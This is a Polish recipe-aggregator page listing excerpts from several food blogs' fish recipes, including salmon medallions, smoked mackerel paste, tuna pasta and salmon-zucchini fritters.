przekąskę, na dobrą sprawę to propozycję podania medalionów z łososia, których odkrycie na sklepowym stoisku uradowało moje łososiożerne  podniebienie:) Same medaliony wyglądają niepozornie: ale każdy, kto lubi ryby doskonale wie, że muszą smakować pysznie. W sprzedaży pojawiają się również ich wzbogacone wersje - ze szpinakowym bądź pieczarkowym nadzieniem. Stanowią naprawdę pyszną, gotową przekąskę. Ja wykorzystuję je również

Apetyt na więcej - jadłodajnia dla duszy i ciała
Pasta z wędzonej makreli i suszonych pomidorów 144

Dziś w roli głównej makrela . Ta morska, tłusta ryba zawiera bardzo duże ilości kwasów tłuszczowych omega-3 i omega-6, które  wspomagają pracę mózgu, obniżają cholesterol i działają przeciwbólowo. Jej największą wartością jest selen -  pierwiastek, który ma ogromny wpływ na naszą odporność, chroni czerwone krwinki i błony komórkowe przed szkodliwym działaniem wolnych rodników a także wpływa na pracę

Apetyt na więcej - jadłodajnia dla duszy i ciała
Muszle z tuńczykiem w pomidorowo-czosnkowym sosie 236

Podczas gdy makaron będzie spędzał swój czas w wodnej kąpieli Ty rozgrzej patelnię, wylej na nią olej z puszek tuńczyka, wyłóż drobno posiekany czosnek, chwilę go podsmaż i dodaj rybę i sok pomidorowy. Całość wymieszaj, doprowadź do wrzenia i po kilku minutach zdejmij z ognia. Poczekaj chwilę na makaron (bo pewnie się jeszcze gotuje;), odcedź go i zalej przygotowanym sosem

Apetyt na więcej - jadłodajnia dla duszy i ciała
Łosoś pieczony z nutą pomarańczy 212

pomidorków cherry Do miski wycisnąć sok z pomarańczy i włożyć do niego kawałki łososia. Odstawić na minimum 2 godzinki do lodówki. Z folii aluminiowej uformować dwa gniazdka na rybę. Kawałki łososia oprószyć z obu stron solą z pieprzem i ułożyć w folii aluminiowej. Na wierzchu posypać słodką papryką. Wstawić do piekarnika nagrzanego na 180 C i zapiekać

Monia miesza i gotuje
Placuszki z cukinii i łososia 155

proste danie idealnie sprawdzi się na leniwy obiad lub smaczną kolację. Połączenie cukinii i łososia dobrze się ze sobą komponuje. Nie wyobrażam wręcz sobie innej wersji. Niestety z tą rybą tak jest, że albo się ja uwielbia albo nie znosi. Mam nadzieję jednak, że ten pomysł trafi także w Wasze gusta smakowe. Ps. przepis dołączam do akcji Placki, placuszki , pancakesy

Fabryka pomysłów
Makaron zapiekany w sosie pomidorowym z tuńczykiem 372

sesja. Ale przejdźmy do sedna. Do zapiekanki można wykorzystać praktycznie każdy rodzaj makaronu, u mnie na początku miało być tagliatelle. W końcu były kokardki. Natomiast   jeżeli nie lubicie ryb, możecie je zastąpić kurczakiem. Dodatkowo można dorzucić warzywa, wtedy zapiekanka będzie bogatsza. Ja jednak tym razem postawiłam na minimalizm. Składniki na 4-5 porcji: 350-400g makaronu kokardki 350g

Fabryka pomysłów